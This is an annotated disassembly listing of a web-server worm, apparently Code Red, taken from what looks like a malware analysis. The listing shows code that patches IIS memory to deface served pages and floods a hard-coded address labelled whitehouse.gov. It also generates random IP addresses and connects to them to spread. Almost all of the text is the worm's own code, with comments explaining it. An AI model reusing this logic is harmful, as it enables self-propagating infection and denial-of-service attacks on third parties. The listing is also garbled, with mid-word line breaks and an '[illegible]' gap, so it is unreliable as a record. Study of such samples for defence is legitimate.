seg000:0000069B 8B 8D 68 FE FF FF      mov     ecx, [ebp-198h]
seg000:000006A1 81 C1 00 01 00 00      add     ecx, 100h       ; Add
seg000:000006A7 39 8D 50 FE FF FF      cmp     [ebp-1B0h], ecx ; compare shift
ed URL to HTML
seg000:000006AD 73 12          jnb     short FOUND_HTML ; load eax wit
h the data segment
seg000:000006AF 8B 95 50 FE FF FF      mov     edx, [ebp-1B0h]
seg000:000006B5 81 3A 4C 4D 54 48      cmp     dword ptr [edx], 48544D4Ch ; lo
ok for HTML
seg000:000006BB 75 02          jnz     short GET_HTML_INC_JUMP ; Jump
if Not Zero (ZF=0)
seg000:000006BD EB 02          jmp     short FOUND_HTML ; load eax wit
h the data segment
seg000:000006BF          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:000006BF
seg000:000006BF          GET_HTML_INC_JUMP:     ; CODE XREF: HA
CK_PAGE+6C\030j
seg000:000006BF EB CB          jmp     short GET_HTML_INC ; Get the ne
xt byte to compare to
seg000:000006C1          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
seg000:000006C1
seg000:000006C1          FOUND_HTML:                                ; CODE XREF: HA
CK_PAGE+5E\030j
seg000:000006C1          ; HACK_PAGE+6E
\030j
seg000:000006C1 8B 85 50 FE FF FF      mov     eax, [ebp-1B0h] ; load eax with
the data segment
seg000:000006C7 83 C0 04          add     eax, 4          ; Add
seg000:000006CA 8B 8D 4C FE FF FF      mov     ecx, [ebp-1B4h] ; set ecx with
the counter
seg000:000006D0 89 41 08          mov     [ecx+8], eax
seg000:000006D3 8B F4          mov     esi, esp      ; move the web
data into the request return
seg000:000006D5 8D 95 48 FE FF FF      lea     edx, [ebp-1B8h] ; Load Effectiv
e Address
seg000:000006DB 52          push    edx           ; set ebp-1b8 t
o receive the old page protection
seg000:000006DC 6A 04          push    4             ; make page rea
dwrt
seg000:000006DE 68 00 40 00 00      push    4000h         ; for 4000 hex
bytes
seg000:000006E3 8B 85 CC FE FF FF      mov     eax, [ebp-134h] ; stored write
address for w3svc
seg000:000006E9 50          push    eax
seg000:000006EA FF 95 A8 FE FF FF      call    dword ptr [ebp-158h] ; VirtualP
rotect
seg000:000006F0 3B F4          cmp     esi, esp      ; Compare Two O
perands
seg000:000006F2 90          nop                  ; No Operation
seg000:000006F3 43          inc     ebx           ; Increment by
1
seg000:000006F4 4B          dec     ebx           ; Decrement by
1
seg000:000006F5 43          inc     ebx           ; Increment by
1
seg000:000006F6 4B          dec     ebx           ; Decrement by
1
seg000:000006F7 C7 85 4C FE FF FF+    mov     dword ptr [ebp-1B4h], 0 ; reset
counter to 0
seg000:00000701 EB 0F          jmp     short TCPSEND_FIND ; check
if counter is 3000h yet
seg000:00000703          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000703
seg000:00000703          TCPSEND_FIND_INC:                                ; CODE XREF: HA
CK_PAGE+123\031j
seg000:00000703 8B 8D 4C FE FF FF      mov     ecx, [ebp-1B4h]
seg000:00000709 83 C1 01          add     ecx, 1          ; Add
seg000:0000070C 89 8D 4C FE FF FF      mov     [ebp-1B4h], ecx
seg000:00000712
seg000:00000712          TCPSEND_FIND:                                ; CODE XREF: HA
CK_PAGE+B2\030j
seg000:00000712 81 BD 4C FE FF FF+    cmp     dword ptr [ebp-1B4h], 3000h ; c
heck if counter is 3000h yet
seg000:0000071C 7D 56          jge     short RESET_MEM_PROTECTION ; go
here if it is
seg000:0000071E 8B 95 CC FE FF FF      mov     edx, [ebp-134h] ; set edx to th
e base
seg000:00000724 03 95 4C FE FF FF      add     edx, [ebp-1B4h] ; add the offse
t from counter
seg000:0000072A 8B 02          mov     eax, [edx]     ; store the val
ue at the offset into eax
seg000:0000072C 3B 85 B0 FE FF FF      cmp     eax, [ebp-150h] ; check ebp-150
against eax(tcpsocksend)
seg000:00000732 75 3E          jnz     short TCPSEND_FIND_INC_JUMP
; jump here on a not match
seg000:00000734 8B 8D CC FE FF FF      mov     ecx, [ebp-134h] ; load base int
o ecx
seg000:0000073A 03 8D 4C FE FF FF      add     ecx, [ebp-1B4h] ; set ecx to th
e address of tcpsocksend
```

```
seg000:00000740 8B 95 60 FE FF FF      mov     edx, [ebp-1A0h] ; set edx to o.
C98
seg000:00000746 89 11                  mov     [ecx], edx      ; replace the c
all to  TCPSEND to o.C98
seg000:00000748 8B F4                  mov     esi, esp
seg000:0000074A 68 00 51 25 02        push    2255100h        ; sleep for a l
ong time
seg000:0000074F FF 95 A0 FE FF FF      call    dword ptr [ebp-160h] ; Sleep
seg000:00000755 3B F4                  cmp     esi, esp        ; Compare Two O
perands
seg000:00000757 90                    nop                     ; No Operation
seg000:00000758 43                    inc     ebx              ; Increment by
1
seg000:00000759 4B                    dec     ebx              ; Decrement by
1
seg000:0000075A 43                    inc     ebx              ; Increment by
1
seg000:0000075B 4B                    dec     ebx              ; Decrement by
1
seg000:0000075C 8B 85 CC FE FF FF      mov     eax, [ebp-134h] ; set eax to th
e base  of the loaded dll
seg000:00000762 03 85 4C FE FF FF      add     eax, [ebp-1B4h] ; set eax to ac
tual address of tcpsocksend
seg000:00000768 8B 8D B0 FE FF FF      mov     ecx, [ebp-150h] ; set ecx to tc
psocksend
seg000:0000076E 89 08                  mov     [eax], ecx      ; replace the c
all to  tcpsocksend with the original
seg000:00000770 EB 02                  jmp     short RESET_MEM_PROTECTION ; RE
SET_MEM_PROTECTION
seg000:00000772          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000772          TCPSEND_FIND_INC_JUMP:          ; CODE XREF: HA
CK_PAGE+E3\030j
seg000:00000772 EB 8F                  jmp     short TCPSEND_FIND_INC ; Ju
mp
seg000:00000774          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000774          RESET_MEM_PROTECTION:          ; CODE XREF: HA
CK_PAGE+CD\030j
seg000:00000774          ; HACK_PAGE+121
\030j
seg000:00000774 8B F4                  mov     esi, esp        ; RESET_MEM_PRO
TECTION
seg000:00000776 8D 95 4C FE FF FF      lea     edx, [ebp-1B4h] ; Load Effectiv
e Address
seg000:0000077C 52                    push    edx
seg000:0000077D 8B 85 48 FE FF FF      mov     eax, [ebp-1B8h]
seg000:00000783 50                    push    eax
seg000:00000784 68 00 40 00 00        push    4000h
seg000:00000789 8B 8D CC FE FF FF      mov     ecx, [ebp-134h]
seg000:0000078F 51                    push    ecx
seg000:00000790 FF 95 A8 FE FF FF      call    dword ptr [ebp-158h] ; VirtualP
rotect
seg000:00000796 3B F4                  cmp     esi, esp        ; Compare Two O
perands
seg000:00000798 90                    nop                     ; No Operation
seg000:00000799 43                    inc     ebx              ; Increment by
1
seg000:0000079A 4B                    dec     ebx              ; Decrement by
1
seg000:0000079B 43                    inc     ebx              ; Increment by
1
seg000:0000079C 4B                    dec     ebx              ; Decrement by
1
seg000:0000079D          DO_THE_WORK:          ; CODE XREF: DO
_RVA+3D5\030j
seg000:0000079D          ; DO_RVA+40D
```

```

\030j ...
seg000:0000079D BA 01 00 00 00      mov     edx, 1          ; this exits fr
om sub 224, not positive of the end result.
seg000:000007A2 85 D2             test     edx, edx       ; if edx ==0, t
hen jump down to c91
seg000:000007A4 0F 84 E7 04 00 00    jz      TIGHT_LOOP     ; This is a tig
ht loop
seg000:000007AA 8B F4             mov     esi, esp
seg000:000007AC 6A 00             push    0              ; HANDLE hTempl
ateFile // handle to template file
seg000:000007AE 68 80 00 00 00    push    80h ; '\200'      ; DWORD dwFl
agsAndAttributes // file attributes
seg000:000007AE                                ; this is FILE_
ATTRIBUTE_NORMAL
seg000:000007B3 6A 03             push    3              ; DWORD dwCreat
ionDisposition // how to create
seg000:000007B3                                ; this is for O
PEN_EXISTING
seg000:000007B5 6A 00             push    0              ; LPSECURITY_AT
TRIBUTES lpSecurityAttributes // SD
seg000:000007B7 6A 01             push    1              ; DWORD dwShare
Mode // share mode
seg000:000007B7                                ; this equates
to FILE_SHARE_READ
seg000:000007B9 68 00 00 00 80    push    80000000h      ; DWORD dwDesir
edAccess // access mode
seg000:000007B9                                ; this is for G
ENERIC_READ
seg000:000007BE 8B 85 68 FE FF FF    mov     eax, [ebp-198h]
seg000:000007C4 83 C0 63             add     eax, 63h ; 'c'   ; this points e
ax to c:\notworm
seg000:000007C7 50             push    eax            ; LPCTSTR lpFil
eName // file name
seg000:000007C8 FF 95 9C FE FF FF    call    dword ptr [ebp-164h] ; CreateFi
leA
seg000:000007CE 3B F4             cmp     esi, esp       ; Compare Two O
perands
seg000:000007D0 90             nop                    ; No Operation
seg000:000007D1 43             inc     ebx            ; Increment by
1
seg000:000007D2 4B             dec     ebx            ; Decrement by
1
seg000:000007D3 43             inc     ebx            ; Increment by
1
seg000:000007D4 4B             dec     ebx            ; Decrement by
1
seg000:000007D5 89 85 30 FE FF FF    mov     [ebp-1D0h], eax
seg000:000007DB 83 BD 30 FE FF FF+    cmp     dword ptr [ebp-1D0h], 0FFFFFFFh
h ; Compare Two Operands
seg000:000007E2 74 1F             jz      short NOTWORM_NO ; jump if Crea
tefile failed
seg000:000007E4                                ;
seg000:000007E4                                NOTWORM_YES:          ; CODE XREF: HA
CK_PAGE+1B2\031j
seg000:000007E4 B9 01 00 00 00    mov     ecx, 1
seg000:000007E9 85 C9             test     ecx, ecx      ; Logical Compa
re
seg000:000007EB 74 16             jz      short NOTWORM_NO ; Jump if Zero
(ZF=1)
seg000:000007ED 8B F4             mov     esi, esp
seg000:000007EF 68 FF FF FF 7F    push    7FFFFFFFh      ; push a LONG t
ime(basically forever)
seg000:000007F4 FF 95 A0 FE FF FF    call    dword ptr [ebp-160h] ; Sleep
seg000:000007F4                                ;
seg000:000007FA 3B F4             cmp     esi, esp       ; Compare Two O
perands
seg000:000007FC 90             nop                    ; No Operation
seg000:000007FD 43             inc     ebx            ; Increment by
1
seg000:000007FE 4B             dec     ebx            ; Decrement by

```

```
1
seg000:000007FF 43          inc     ebx          ; Increment by
1
seg000:00000800 4B          dec     ebx          ; Decrement by
1
seg000:00000801 EB E1          jmp     short NOTWORM_YES ; Jump
seg000:00000803          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000803
seg000:00000803          NOTWORM_NO:          ; CODE XREF: HA
CK_PAGE+193\030j
seg000:00000803          ; HACK_PAGE+19C
\030j
seg000:00000803 8B F4          mov     esi, esp
seg000:00000805 8D 95 38 FE FF FF  lea     edx, [ebp-1C8h] ; LPSYSTEMTIME
lpSystemTime // system time
seg000:0000080B 52          push    edx
seg000:0000080C FF 95 94 FE FF FF  call    dword ptr [ebp-16Ch] ; GetSyste
mTime
seg000:00000812 3B F4          cmp     esi, esp          ; Compare Two O
perands
seg000:00000814 90          nop                     ; No Operation
seg000:00000815 43          inc     ebx          ; Increment by
1
seg000:00000816 4B          dec     ebx          ; Decrement by
1
seg000:00000817 43          inc     ebx          ; Increment by
1
seg000:00000818 4B          dec     ebx          ; Decrement by
1
seg000:00000819 8B 85 3E FE FF FF  mov     eax, [ebp-1C2h] ; load eax with
day and hour, UTC
seg000:0000081F 89 85 4C FE FF FF  mov     [ebp-1B4h], eax ; store day in
ebp-1b4
seg000:00000825 8B 8D 4C FE FF FF  mov     ecx, [ebp-1B4h] ; set ecx to da
y and hour UTC
seg000:0000082B 81 E1 FF FF 00 00  and     ecx, 0FFFFh      ; get lower wor
d(hour, UTC)
seg000:00000831 89 8D 4C FE FF FF  mov     [ebp-1B4h], ecx ; save the UTC
hour at ebp-1b4
seg000:00000837 83 BD 4C FE FF FF+  cmp     dword ptr [ebp-1B4h], 14h ; che
ck if hour is less than 20
seg000:0000083E 0F 8C 47 01 00 00  jl      INFECT_HOST      ; set seconds a
nd milisecond to eax
seg000:00000844
seg000:00000844          TIME_GREATER_20:          ; CODE XREF: HA
CK_PAGE+337\031j
seg000:00000844 BA 01 00 00 00      mov     edx, 1
seg000:00000849 85 D2          test    edx, edx          ; Logical Compa
re
seg000:0000084B 0F 84 3A 01 00 00  jz      INFECT_HOST      ; set seconds a
nd milisecond to eax
seg000:00000851 8B F4          mov     esi, esp
seg000:00000853 8D 85 38 FE FF FF  lea     eax, [ebp-1C8h] ; LPSYSTEMTIME
lpSystemTime // system time
seg000:00000859 50          push    eax
seg000:0000085A FF 95 94 FE FF FF  call    dword ptr [ebp-16Ch] ; GetSyste
mTime
seg000:00000860 3B F4          cmp     esi, esp          ; Compare Two O
perands
seg000:00000862 90          nop                     ; No Operation
seg000:00000863 43          inc     ebx          ; Increment by
1
seg000:00000864 4B          dec     ebx          ; Decrement by
1
seg000:00000865 43          inc     ebx          ; Increment by
1
seg000:00000866 4B          dec     ebx          ; Decrement by
1
seg000:00000867 8B 8D 3E FE FF FF  mov     ecx, [ebp-1C2h] ; load ecx with
```

```
day and hour, UTC
seg000:0000086D 89 8D 4C FE FF FF
ebp-1b4
seg000:00000873 8B 95 4C FE FF FF
seg000:00000879 81 E2 FF FF 00 00
day and hour UTC
seg000:0000087F 89 95 4C FE FF FF
seg000:00000885 83 BD 4C FE FF FF+
ck if hour is less than 28
seg000:0000088C 7C 1F
jl short WHITEHOUSE_SOCKET_SETUP ;
Jump if Less (SF!=OF)
seg000:0000088E
seg000:0000088E NEVER_CALLED1: ; CODE XREF: HA
CK_PAGE+25C\031j
seg000:0000088E B8 01 00 00 00
mov eax, 1 ; this code is
self referential and is never called, as far as can be seen
seg000:00000893 85 C0
test eax, eax ; Logical Compa
re
seg000:00000895 74 16
jz short WHITEHOUSE_SOCKET_SETUP ;
Jump if Zero (ZF=1)
seg000:00000897 8B F4
mov esi, esp
seg000:00000899 68 FF FF FF 7F
push 7FFFFFFFh
seg000:0000089E FF 95 A0 FE FF FF
call dword ptr [ebp-160h] ; Sleep
seg000:000008A4 3B F4
cmp esi, esp ; Compare Two O
perands
seg000:000008A6 90
nop ; No Operation
seg000:000008A7 43
inc ebx ; Increment by
1
seg000:000008A8 4B
dec ebx ; Decrement by
1
seg000:000008A9 43
inc ebx ; Increment by
1
seg000:000008AA 4B
dec ebx ; Decrement by
1
seg000:000008AB EB E1
jmp short NEVER_CALLED1 ; this code
is self referential and is never called, as far as can be seen
seg000:000008AD ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:000008AD
seg000:000008AD WHITEHOUSE_SOCKET_SETUP: ; CODE XREF: HA
CK_PAGE+23D\030j
seg000:000008AD ; HACK_PAGE+246
\030j
seg000:000008AD 8B F4
mov esi, esp
seg000:000008AF 6A 64
push 64h ; 'd'
seg000:000008B1 FF 95 A0 FE FF FF
call dword ptr [ebp-160h] ; Sleep
seg000:000008B7 3B F4
cmp esi, esp ; Compare Two O
perands
seg000:000008B9 90
nop ; No Operation
seg000:000008BA 43
inc ebx ; Increment by
1
seg000:000008BB 4B
dec ebx ; Decrement by
1
seg000:000008BC 43
inc ebx ; Increment by
1
seg000:000008BD 4B
dec ebx ; Decrement by
1
seg000:000008BE 8B F4
mov esi, esp
seg000:000008C0 6A 00
push 0 ; int protocol
seg000:000008C2 6A 01
push 1 ; fam
seg000:000008C4 6A 02
push 2 ; pr
seg000:000008C6 FF 95 B8 FE FF FF
call dword ptr [ebp-148h] ; socket
seg000:000008CC 3B F4
cmp esi, esp ; Compare Two O
perands
seg000:000008CE 90
nop ; No Operation
seg000:000008CF 43
inc ebx ; Increment by
1
seg000:000008D0 4B
dec ebx ; Decrement by
1
seg000:000008D1 43
inc ebx ; Increment by
```

```
1
seg000:000008D2 4B          dec     ebx          ; Decrement by
1
seg000:000008D3 89 85 78 FE FF FF  mov     [ebp-188h], eax ; store sock de
scriptor
seg000:000008D9 66 C7 85 7C FE FF+  mov     word ptr [ebp-184h], 2 ; set af
am
seg000:000008E2 66 C7 85 7E FE FF+  mov     word ptr [ebp-182h], 5000h ; se
t port(80)
seg000:000008EB C7 85 80 FE FF FF+  mov     dword ptr [ebp-180h], 5BF089C6h
; set ip (www.whitehouse.gov)
seg000:000008F5 8B F4          mov     esi, esp
seg000:000008F7 6A 10          push    10h          ; push len
seg000:000008F9 8D 8D 7C FE FF FF  lea     ecx, [ebp-184h] ; push sockaddr
seg000:000008FF 51            push    ecx
seg000:00000900 8B 95 78 FE FF FF  mov     edx, [ebp-188h] ; push sock des
criptor
seg000:00000906 52            push    edx
seg000:00000907 FF 95 BC FE FF FF  call    dword ptr [ebp-144h] ; connect
seg000:0000090D 3B F4          cmp     esi, esp      ; Compare Two O
perands
seg000:0000090F 90            nop                     ; No Operation
seg000:00000910 43            inc     ebx          ; Increment by
1
seg000:00000911 4B          dec     ebx          ; Decrement by
1
seg000:00000912 43            inc     ebx          ; Increment by
1
seg000:00000913 4B          dec     ebx          ; Decrement by
1
seg000:00000914 C7 85 4C FE FF FF+  mov     dword ptr [ebp-1B4h], 0 ; store
0 at ebp-1b4
seg000:0000091E EB 0F          jmp     short WHITEHOUSE_SOCKET_SEND ;
if counter >= 18000h jump
seg000:00000920          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000920          WHITEHOUSE_SOCKET_SEND_INC:          ; CODE XREF: HA
CK_PAGE+321\031j
seg000:00000920 8B 85 4C FE FF FF  mov     eax, [ebp-1B4h]
seg000:00000926 83 C0 01          add     eax, 1          ; inc counter
seg000:00000929 89 85 4C FE FF FF  mov     [ebp-1B4h], eax
seg000:0000092F          WHITEHOUSE_SOCKET_SEND:          ; CODE XREF: HA
CK_PAGE+2CF\030j
seg000:0000092F 81 BD 4C FE FF FF+  cmp     dword ptr [ebp-1B4h], 18000h ;
if counter >= 18000h jump
seg000:00000939 7D 37          jge     short WHITEHOUSE_SLEEP_LOOP ; J
ump if Greater or Equal (SF=OF)
seg000:0000093B 8B F4          mov     esi, esp
seg000:0000093D 68 E8 03 00 00  push    3E8h
seg000:00000942 FF 95 A0 FE FF FF  call    dword ptr [ebp-160h] ; Sleep
seg000:00000948 3B F4          cmp     esi, esp      ; Compare Two O
perands
seg000:0000094A 90            nop                     ; No Operation
seg000:0000094B 43            inc     ebx          ; Increment by
1
seg000:0000094C 4B          dec     ebx          ; Decrement by
1
seg000:0000094D 43            inc     ebx          ; Increment by
1
seg000:0000094E 4B          dec     ebx          ; Decrement by
1
seg000:0000094F 8B F4          mov     esi, esp
seg000:00000951 6A 00          push    0          ; no flags
seg000:00000953 6A 01          push    1          ; send len 1
seg000:00000955 8D 8D FC FE FF FF  lea     ecx, [ebp-104h] ; addr of buf
seg000:0000095B 51            push    ecx
seg000:0000095C 8B 95 78 FE FF FF  mov     edx, [ebp-188h] ; sock descript
or
```



```
seg000:00000962 52          push    edx
seg000:00000963 FF 95 C0 FE FF FF  call   dword ptr [ebp-140h] ; Send
seg000:00000963          ;
seg000:00000969 3B F4      cmp     esi, esp      ; Compare Two O
perands
seg000:0000096B 90          nop             ; No Operation
seg000:0000096C 43          inc     ebx       ; Increment by
1
seg000:0000096D 4B          dec     ebx       ; Decrement by
1
seg000:0000096E 43          inc     ebx       ; Increment by
1
seg000:0000096F 4B          dec     ebx       ; Decrement by
1
seg000:00000970 EB AE      jmp     short WHITEHOUSE_SOCKET_SEND_IN
C ; jump back to send
seg000:00000972          ;
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000972          ;
WHITEHOUSE_SLEEP_LOOP:          ; CODE XREF: HA
CK_PAGE+2EA\030j
seg000:00000972 8B F4      mov     esi, esp
seg000:00000974 68 00 00 00 01  push   1000000h      ; sleep for aro
und 4.66 hours
seg000:00000979 FF 95 A0 FE FF FF  call   dword ptr [ebp-160h] ; Sleep
seg000:0000097F 3B F4      cmp     esi, esp      ; Compare Two O
perands
seg000:00000981 90          nop             ; No Operation
seg000:00000982 43          inc     ebx       ; Increment by
1
seg000:00000983 4B          dec     ebx       ; Decrement by
1
seg000:00000984 43          inc     ebx       ; Increment by
1
seg000:00000985 4B          dec     ebx       ; Decrement by
1
seg000:00000986 E9 B9 FE FF FF  jmp     TIME_GREATER_20 ; Jump
seg000:0000098B          ;
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:0000098B          ;
INFECT_HOST:          ; CODE XREF: HA
CK_PAGE+1EF\030j
seg000:0000098B          ; HACK_PAGE+1FC
\030j
seg000:0000098B 8B 85 44 FE FF FF  mov     eax, [ebp-1BCh] ; set seconds a
nd milisecond to eax
seg000:00000991 89 85 50 FE FF FF  mov     [ebp-1B0h], eax ; store at ebp-
1b0
seg000:00000997 8B 8D 50 FE FF FF  mov     ecx, [ebp-1B0h] ; load seconds
and miliseconds to ecx
seg000:0000099D 0F AF 8D 50 FE FF+ imul    ecx, [ebp-1B0h] ; multiply by i
tself
seg000:000009A4 69 C9 E3 59 CD 00  imul    ecx, 0CD59E3h  ; multiply by 0
cd59e3
seg000:000009AA 8B 95 50 FE FF FF  mov     edx, [ebp-1B0h] ; store sec/mil
isec inedx
seg000:000009B0 69 D2 B9 E1 01 00  imul    edx, 1E1B9h    ; multiply sec/
mil by 1e1b9
seg000:000009B6 8B 85 74 FE FF FF  mov     eax, [ebp-18Ch] ; set eax to th
e threadcount
seg000:000009BC 03 C1      add     eax, ecx       ; add ecx(multi
plier) to eax
seg000:000009BE 03 D0      add     edx, eax       ; add eax to ed
x
seg000:000009C0 89 95 50 FE FF FF  mov     [ebp-1B0h], edx ; store new num
ber at ebp-1b0
seg000:000009C6 8B 8D 74 FE FF FF  mov     ecx, [ebp-18Ch] ; load threadco
unt imul(o.5bd) into ecx
seg000:000009CC 69 C9 83 33 CF 00  imul    ecx, 0CF3383h  ; multiply it
```

```

seg000:000009D2 81 C1 53 FE 6B 07      add     ecx, 76BFE53h    ; add to it
seg000:000009D8 89 8D 74 FE FF FF      mov     [ebp-18Ch], ecx  ; store it agai
n
seg000:000009DE 8B 95 74 FE FF FF      mov     edx, [ebp-18Ch]  ; set edx to th
e new val
seg000:000009E4 81 E2 FF 00 00 00      and     edx, 0FFh        ; get the last
byte
seg000:000009EA 89 95 50 FE FF FF      mov     [ebp-1B0h], edx  ; move the last
byte to ebp-1b0
seg000:000009F0 83 BD 50 FE FF FF+    cmp     dword ptr [ebp-1B0h], 7Fh ; '
\177' ; check if the byte is 7F
seg000:000009F7 74 0C      jz      short loc_A05    ; if it is, go
here
seg000:000009F9 81 BD 50 FE FF FF+    cmp     dword ptr [ebp-1B0h], 0E0h ; 'à
' ; check if the last byte is 0e0
seg000:00000A03 75 11      jnz     short loc_A16    ; if it is not,
go here
seg000:00000A05
seg000:00000A05      loc_A05:                ; CODE XREF: HA
CK_PAGE+3A8\030j
seg000:00000A05 8B 85 74 FE FF FF      mov     eax, [ebp-18Ch]  ; load eax with
the ebp-18c val
seg000:00000A0B 05 A9 0D 02 00      add     eax, 20DA9h      ; add 20da9 to
it
seg000:00000A10 89 85 74 FE FF FF      mov     [ebp-18Ch], eax  ; set the value
to the new value
seg000:00000A16
seg000:00000A16      loc_A16:                ; CODE XREF: HA
CK_PAGE+3B4\030j
seg000:00000A16 8B F4      mov     esi, esp        ; sleep for 100
ms
seg000:00000A18 6A 64      push    64h ; 'd'       ; 100 milisecon
ds
seg000:00000A1A FF 95 A0 FE FF FF      call    dword ptr [ebp-160h] ; Sleep
seg000:00000A20 3B F4      cmp     esi, esp        ; Compare Two O
perands
seg000:00000A22 90      nop                     ; No Operation
seg000:00000A23 43      inc     ebx             ; Increment by
1
seg000:00000A24 4B      dec     ebx             ; Decrement by
1
seg000:00000A25 43      inc     ebx             ; Increment by
1
seg000:00000A26 4B      dec     ebx             ; Decrement by
1
seg000:00000A27 8B F4      mov     esi, esp        ; Create a sock
et
seg000:00000A29 6A 00      push    0               ; int protocol
seg000:00000A2B 6A 01      push    1               ; int type
seg000:00000A2D 6A 02      push    2               ; int af
seg000:00000A2F FF 95 B8 FE FF FF      call    dword ptr [ebp-148h] ; socket
seg000:00000A35 3B F4      cmp     esi, esp        ; Compare Two O
perands
seg000:00000A37 90      nop                     ; No Operation
seg000:00000A38 43      inc     ebx             ; Increment by
1
seg000:00000A39 4B      dec     ebx             ; Decrement by
1
seg000:00000A3A 43      inc     ebx             ; Increment by
1
seg000:00000A3B 4B      dec     ebx             ; Decrement by
1
seg000:00000A3C 89 85 78 FE FF FF      mov     [ebp-188h], eax  ; save the sock
descriptor to ebp-188
seg000:00000A42 66 C7 85 7C FE FF+    mov     word ptr [ebp-184h], 2 ; this s
ets up the socaddr struct
seg000:00000A4B 66 C7 85 7E FE FF+    mov     word ptr [ebp-182h], 5000h
seg000:00000A54 8B 8D 74 FE FF FF      mov     ecx, [ebp-18Ch]  ; load ecx with
the ip address
seg000:00000A5A 89 8D 80 FE FF FF      mov     [ebp-180h], ecx  ; set ebp-180 t

```

```
o the ipaddress
seg000:00000A60 8B F4      mov     esi, esp
seg000:00000A62 6A 10      push    10h          ; int namelen
seg000:00000A64 8D 95 7C FE FF FF  lea     edx, [ebp-184h] ; Load Effectiv
e Address
seg000:00000A6A 52          push    edx          ; const struct
sockaddr FAR *name
seg000:00000A6B 8B 85 78 FE FF FF  mov     eax, [ebp-188h]
seg000:00000A71 50          push    eax          ; SOCKET s
seg000:00000A72 FF 95 BC FE FF FF  call    dword ptr [ebp-144h] ; connect
seg000:00000A78 3B F4      cmp     esi, esp      ; Compare Two O
perands
seg000:00000A7A 90          nop                     ; No Operation
seg000:00000A7B 43          inc     ebx          ; Increment by
1
seg000:00000A7C 4B          dec     ebx          ; Decrement by
1
seg000:00000A7D 43          inc     ebx          ; Increment by
1
seg000:00000A7E 4B          dec     ebx          ; Decrement by
1
seg000:00000A7F 85 C0      test    eax, eax      ; check if the
connect succeeded
seg000:00000A81 0F 85 EF 01 00 00  jnz     SOCK_CLOSE_LOOP ; if the connec
t failed goto closesocketloop
seg000:00000A87 8B F4      mov     esi, esp      ; Send a "GET "
seg000:00000A89 6A 00      push    0
seg000:00000A8B 6A 04      push    4
seg000:00000A8D 8B 8D 68 FE FF FF  mov     ecx, [ebp-198h] ; points to GET
seg000:00000A93 51          push    ecx
seg000:00000A94 8B 95 78 FE FF FF  mov     edx, [ebp-188h] ; points to soc
ket
seg000:00000A9A 52          push    edx
seg000:00000A9B FF 95 C0 FE FF FF  call    dword ptr [ebp-140h] ; send a G
ET
seg000:00000AA1 3B F4      cmp     esi, esp      ; Compare Two O
perands
seg000:00000AA3 90          nop                     ; No Operation
seg000:00000AA4 43          inc     ebx          ; Increment by
1
seg000:00000AA5 4B          dec     ebx          ; Decrement by
1
seg000:00000AA6 43          inc     ebx          ; Increment by
1
seg000:00000AA7 4B          dec     ebx          ; Decrement by
1
seg000:00000AA8 C7 85 4C FE FF FF+  mov     dword ptr [ebp-1B4h], 0 ; store
a 0 in 1b4
seg000:00000AB2 8B 45 08      mov     eax, [ebp+8]   ; load isapi fi
lter
seg000:00000AB5 8B 48 68      mov     ecx, [eax+68h] ; set ecx to of
fset inside isapi filter
seg000:00000AB8 89 8D 64 FE FF FF  mov     [ebp-19Ch], ecx ; store isapi p
ointer at ebp-19c
seg000:00000ABE EB 1E      jmp     short SETUP_URL_TO_SEND ; load
ecx with isapi offset
seg000:00000AC0      ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000AC0
seg000:00000AC0      GET_NEXT_URL_BYTE:          ; CODE XREF: HA
CK_PAGE+49C\031j
seg000:00000AC0 8B 95 64 FE FF FF  mov     edx, [ebp-19Ch] ; increment the
url pointer at ebp-19c
seg000:00000AC6 83 C2 01      add     edx, 1          ; Add
seg000:00000AC9 89 95 64 FE FF FF  mov     [ebp-19Ch], edx
seg000:00000ACF 8B 85 4C FE FF FF  mov     eax, [ebp-1B4h] ; inc counter
seg000:00000AD5 83 C0 01      add     eax, 1          ; Add
seg000:00000AD8 89 85 4C FE FF FF  mov     [ebp-1B4h], eax
seg000:00000ADE
seg000:00000ADE      SETUP_URL_TO_SEND:          ; CODE XREF: HA
```

[illegible]

```
seg000:00000B4F
seg000:00000B4F          GET_NEXT_QUERY_BYTE:          ; CODE XREF: HA
CK_PAGE+52B\031j
seg000:00000B4F 8B 95 64 FE FF FF      mov     edx, [ebp-19Ch] ; increment the
memory pointer to the headers
seg000:00000B55 83 C2 01          add     edx, 1          ; Add
seg000:00000B58 89 95 64 FE FF FF      mov     [ebp-19Ch], edx
seg000:00000B5E 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h] ; increment the
counter
seg000:00000B64 83 C0 01          add     eax, 1          ; Add
